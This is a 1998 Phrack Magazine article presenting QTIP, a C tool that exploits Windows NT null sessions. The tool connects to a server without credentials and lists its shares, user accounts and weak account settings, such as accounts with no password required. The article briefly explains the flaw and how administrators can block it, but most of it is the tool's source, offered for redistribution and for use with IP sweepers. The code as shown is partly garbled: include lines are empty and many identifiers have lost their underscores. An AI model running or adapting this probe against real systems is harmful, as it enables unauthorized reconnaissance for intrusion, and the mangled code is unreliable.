Your Ad Here

---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 10 of 20

-------------------------[ a Quick nT Interrogation Probe (QTIP)

--------[ twitch twitch@aye.net

----[ INTRODUCTION

As you probably already know, certain LanMan derivatives (most notably

Windows NT) sport a stupid feature known as null sessions. Null sessions allow server connections to be established without the hassle and rigmarole of username or password authentication. This is reportedly to ease administrative tasks (UserManager and ilk utilize them). Also, such silliness such as the RedButton bug have shown (although in poor form) that an interested/malicious third party can gleen quite a bit of info from `Press any key to return to index`. Once established, these connections default to having permissions to display enumerated user and share lists, get information about particular users, wander the registry, etc. QTIP takes advantage of this, allowing the user to procure far too much information about the target machine. It employs no black magic or hidden technique to do this. QTIP works via straight API calls.

As of service pack 3 for NT 4.0, it is possible for the `informed` system

administrator to block null sessions through the registry, effectively nullifying any threat from QTIP. I do not, however, believe that there is such a patch for 3.5.1 machines. Also, it has not been tested against SAMBA servers, and as far as the author knows, SAMBA does not support something as asinine as null sessions (anyone who knows any differently is invited to mail corrections to the author, or directly to Phrack Magazine).

To prevent these sorts of shenanigans from happening remotely across the

Internet, the concerned system administrator can block NBT traffic at the gateway (this sort of traffic should not be allowed to/from the Internet as standard fare). If you are running NT 4.0, install the service packs, and set the appropriate registry values to disable the attack. Or use OpenBSD.

----[ THE CODE

QTIP has a few options.  qtip -h supplies the following info:

usage qtip[asughv] -s: get share list -u: get user list -g : get infos about -d: leave connection established on exit -a: -s + -u -h, -?: display this help -v: be verbose (use twice to be garrulous)

Seems rather self explanatory.  If the verbose flag is set, then -u

implies a recursive -g. -d is handy if you plan to take a look at the registry as well (there's gold in them thar hills). Omission of all flags just establishes a null session and exits. can be a fully-qualified domain name, ip address, or UNC format. The code compiles like a dream under visual c 4.1. There is no makefile included, just link the code against kernel32.lib, libc.lib and wsock32.lib. This program is most useful wrapped in scripts with something like tping(ip sweeper), and maybe a few registry inquisition perl scripts. Feel free to redistribute, just give props where props are due, and please let me know if you make any interesting changes.

<++> qtip/qtip.h /* * qtip.h * 12/04/1997 * twitch * twitch@aye.net * * a quick nt investigative probe. (mis)uses null sessions to collect * sundry information about a WindowsNT server. distribute as you * please. be alert, look alive, and act like you kow. * * '...i should dismiss him, in order to teach him that pleasure consists * not in what i enjoy, but in having my own way.' * -sk, either/or */

include

include

include

include "lm.h"

define k16 16384

define TARG_LEN 255

define USER_LEN 22

void handleerror(DWORD); void prependstr(char , char); int opensession(); int procureuserlist(); int procuresharelist(); void parsecl(int, char *); void usage(char *); int powerup(int, char *); void bail(const char *); int closesession(); void getusrinfo(wchart *);

/* couple o globals to make my life easier */ uint OPTSHARES, OPTUSERS, OPTGETUI; uint OPTNODEL, VERB; char target[TARGLEN]; WCHAR utarg[TARGLEN]; WCHAR user[USER_LEN]; NETRESOURCE nr;

<--> <++> qtip/qtip.c

/* * qtip.c * 10/04/1997 * twitch * twitch@aye.net * * a quick nt investigative probe * link against kernel32.lib, libc.lib and wsock32.lib. * qtip -h for usage. distribute as you please. * */

include "qtip.h"

int main(int argc, char *argv[]) { if( (powerup(argc, argv)) ) return(1);

if( (open_session()) != 0) return(1);

if(OPTSHARES) procuresharelist();

if(OPTUSERS) procureuserlist();

if(OPTGETUI) getusr_info(utarg);

    close_session();

return(0); }

int open_session() { DWORD r;

nr.dwType = RESOURCETYPE_ANY; nr.lpLocalName = NULL; nr.lpProvider = NULL; nr.lpRemoteName = target;

if(VERB) printf("establishing null session with %s...\n", target);

r = WNetAddConnection2(&nr, "", "", 0); if(r != NOERROR){ handleerror(r); return -1; }

if(VERB) printf("connection established\n");

return 0; }

/* * procureuserlist() * just use the old lm NetUserEnum() because there isnt comparable * functionality in the WNet sect. i just wish the win32 api was * more bloated and obtuse. */ int procureuserlist() { NETAPISTATUS nas; LPBYTE *buf = NULL; DWORD entread, totent, rhand; DWORD maxlen = 0xffffffff; USERINFO0 *usrs; unsigned int i; int cc = 0;

entread = totent = rhand = nas = 0; if( (buf = (LPBYTE*)malloc(k16)) == NULL) bail("malloc probs\n");

if(VERB) wprintf(L"\ngetting userlist from %s...\n", utarg);

nas = NetUserEnum(utarg, 0, 0, buf, maxlen, &entread, &totent, &rhand); if(nas != NERRSuccess){ fprintf(stderr, "couldnt enum users, "); handleerror(nas); goto cleanup; }

cc = sizeof(USERINFO0) * entread; if( (usrs = (USERINFO0 *)malloc(cc)) == NULL){ fprintf(stderr, "malloc probs\n"); goto cleanup; }

memcpy(usrs, *buf, cc); for(i = 0; i < entread; i++){ wcscpy(user, usrs[i].usri0name); wprintf(L"%s\n", user); if(VERB) getusr_info(utarg); }

cleanup: if(buf) free(buf);

return 0; }

/* * getuserinfo() * attempt to gather some interesting facts about * a user */ void getusrinfo(LPWSTR utarg) { NETAPISTATUS nas; USERINFO1 usrinfos; LPBYTE *buf = NULL;

if( !(buf = (LPBYTE *)malloc(sizeof(USERINFO1))) ) bail("malloc probs\n");

nas = NetUserGetInfo(utarg, user, 1, buf);

if(nas){ fwprintf(stderr, L"couldnt get user info for for %s, ", user); handleerror(nas); } else{ memcpy(&usrinfos, *buf, sizeof(USERINFO_1));

 /* most of these will never happen, but nothings lost trying */
 if( (UF_PASSWD_NOTREQD & usrinfos.usri1_flags) )
   printf("\t-password not required, how about that.\n");
 if( (UF_ACCOUNTDISABLE & usrinfos.usri1_flags) )
   printf("\t-account disabled\n");
 if( (UF_LOCKOUT & usrinfos.usri1_flags) )
   printf("\t-account locked out\n");
 if( (UF_DONT_EXPIRE_PASSWD & usrinfos.usri1_flags) )
   printf("\t-password doesnt expire\n");
 if( (UF_PASSWD_CANT_CHANGE & usrinfos.usri1_flags) )
   printf("\t-user cant change password\n");
 if( (UF_WORKSTATION_TRUST_ACCOUNT & usrinfos.usri1_flags) )
   printf("\t-account for some other box in this domain\n");
 if( (UF_SERVER_TRUST_ACCOUNT & usrinfos.usri1_flags) )
   printf("\t-account for what is prolly the BDC\n");
 if( (UF_INTERDOMAIN_TRUST_ACCOUNT & usrinfos.usri1_flags) )
   printf("\t-interdomain permit to trust account\n");

}

free(buf); }

/* * procuresharelist() * strangely enough, this retrieves a sharelist from target */ int procuresharelist() { DWORD r; DWORD bufsize = 16384, cnt = 0xFFFFFFFF; HANDLE enhan; void *buf; NETRESOURCE *res; u_int i;

if( (buf = malloc(bufsize)) == NULL){ fprintf(stderr, "malloc probs, bailing\n"); return -1; }

nr.dwScope = RESOURCECONNECTED; nr.dwType = RESOURCETYPEANY; nr.dwDisplayType = 0; nr.dwUsage = RESOURCEUSAGE_CONTAINER; nr.lpLocalName = NULL; nr.lpRemoteName = (LPTSTR)target; nr.lpComment = NULL; nr.lpProvider = NULL;

r = WNetOpenEnum(RESOURCEGLOBALNET, RESOURCETYPEANY, RESOURCEUSAGECONNECTABLE, &nr , &enhan); if(r != 0){ free(buf); printf("openenum failed, sorry- "); handle_error(r); return -1; }

r = WNetEnumResource(enhan, &cnt, buf, &bufsize); if(r != 0){ free(buf); printf("enumres failed- "); handleerror(r); return -1; }

res = (NETRESOURCE*)malloc(cnt * sizeof(NETRESOURCE)); if(res == NULL){ free(buf); printf("malloc probs, i wont be listing shares.\n"); return -1; } memcpy(res, buf, (cnt * sizeof(NETRESOURCE)) );

for(i = 0; i < cnt; i++){ if(VERB) printf("\nshare name:\t");

  printf("%s\n", res[i].lpRemoteName);
  if(VERB){
                    printf("share type:\t");
                    if(res[i].dwType = RESOURCETYPE_DISK)
                            printf("disk");
                    else
                            printf("printer");
                            printf("\ncomment:\t%s\n", res[i].lpComment);
            }

}

free(buf); free(res); return 0; }

/* * closesession() * clean up our mess */ int closesession() { DWORD r;

WSACleanup(); if(!OPT_NODEL) r = WNetCancelConnection2(target, 0, TRUE);

if(r != 0){ fprintf(stderr, "couldnt delete %s, returned %d\n", target, r); return -1; } else{ if(VERB) printf("connection to %s deleted\n", target); }

return 0; }

/* * handleerror() * util function to deal with some errors. */ void handleerror(DWORD err) { switch(err){ case ERRORACCESSDENIED: fprintf(stderr, "access is denied.\n"); break; case ERRORBADNETNAME: fprintf(stderr, "bad net name.\n"); break; case ERROREXTENDEDERROR: fprintf(stderr, "an extended error occurred.\n"); break; case ERRORINVALIDPASSWORD: fprintf(stderr, "invalid password.\n"); break; case ERRORLOGONFAILURE: fprintf(stderr, "bad username or password.\n"); break; case NOERROR: fprintf(stderr, "it worked\n"); break; case ERRORBADNETPATH: fprintf(stderr, "network path not found.\n"); break; default: fprintf(stderr, "a random error occurred (%d).\n", err); } }

/* * prependstr() * util funk to prepend chars to a string */ void prependstr(char orgstr, char *addthis) { orgstr = _strrev(orgstr); addthis = _strrev(addthis); strcat(orgstr, addthis); orgstr = _strrev(orgstr); } / * parsecl() * try and make sense of the command line. no, i dont have a win32 getopt. * yes, i know i should */ void parsecl(int argc, char **argv) { int i, cc; char opt; DWORD r;

OPTSHARES = OPTUSERS = VERB = 0;

for(i = 1; i < (argc); i++){ if( (*argv[i]) == '-'){ opt = *(argv[i]+1); switch(opt){ case 'a': OPTSHARES = 1; OPTUSERS = 1; break; case 's': OPTSHARES = 1; break; case 'u': OPTUSERS = 1; break; case 'g': OPTGETUI = 1; if( (strlen(argv[i+1])) > USERLEN) bail("username too long (must be < 21)"); ZeroMemory(user, USERLEN); cc = strlen(argv[++i]); r = MultiByteToWideChar(CPACP, 0, argv[i], cc, user, (cc + 2)); break; case 'd': OPT_NODEL = 1; break; case 'v': VERB++; break; default: if( (opt != 'h') && (opt != '?') ) fprintf(stderr, "unknown option '%c'\n", opt); usage(argv[0]); break; } } }

    if( (OPT_SHARES) && (VERB) )
  printf("listing shares\n");

if( (OPTUSERS) && (VERB) ) printf("listing users\n"); if( (OPTGETUI) && (VERB) ) wprintf(L"getting infos about user %s\n", user); if(VERB) printf("verbosity = %d\n", VERB); }

/* * powerup() * just init stuff and parse the command line / int powerup(int argc, char *argv) { struct hostent *hent; u_long addie; WORD werd; WSADATA data; char buf[256]; int cc = 0, ucc = 0;

if(argc < 3) usage(argv[0]);

parse_cl(argc, argv); ZeroMemory(buf, 256); strcpy(buf, argv[argc - 1]);

/* if not unc format get the ip */ if(buf[0] != '\'){ if(VERB > 1) printf("target not in unc\n");

  werd = MAKEWORD(1, 1);
  if( (WSAStartup(werd, &data)) !=0 )
                    bail("couldnt init winsock\n");

  hent = (struct hostent *)malloc(sizeof(struct hostent));
  if(hent == NULL)
                    bail("malloc probs\n");

  if( (addie = inet_addr(buf)) == INADDR_NONE){
                    hent = gethostbyname(buf);
                    if(hent == NULL){
                            fprintf(stderr, "fatal: couldnt resolve %s.\n", buf);
                            return -1;
                    }
                    ZeroMemory(buf, 256);
                    strcpy(buf, inet_ntoa(*(struct in_addr *)*hent->h_addr_list));
  }
  prepend_str(buf, "\\\\");

} else fprintf(stderr, "target already in unc\n");

if( (strlen(buf) > (TARG_LEN - 1)) ){ free(buf); bail("hostname too long (must be < 255 chars.)"); return -1; }

ZeroMemory(target, TARG_LEN); strcpy(target, buf);

ZeroMemory(utarg, TARGLEN); cc = strlen(target); ucc = MultiByteToWideChar(CPACP, MB_PRECOMPOSED, target, cc, utarg, cc); if(ucc < 1){ bail("unicode conversion probs, sorry"); return -1; }

return 0; }

void usage(char *prog) { fprintf(stderr, "usage: %s [asughv] \n", prog); fprintf(stderr, "\t-s:\t\tget share list\n"); fprintf(stderr, "\t-u:\t\tget user list\n"); fprintf(stderr, "\t-g: \tget infos about just \n"); fprintf(stderr, "\t-d:\t\tleave connection established on exit\n"); fprintf(stderr, "\t-a:\t\t-s + -u\n"); fprintf(stderr, "\t-h, -?:\t\tdisplay this help\n"); fprintf(stderr, "\t-v:\t\tbe verbose (use twice to be garrolous)\n"); exit(0); }

/* * bail() * just whine and die */ void bail(const char *msg) { fprintf(stderr, "fatal: %s\n", msg); close_session(); exit(1); } <-->

----[ EOF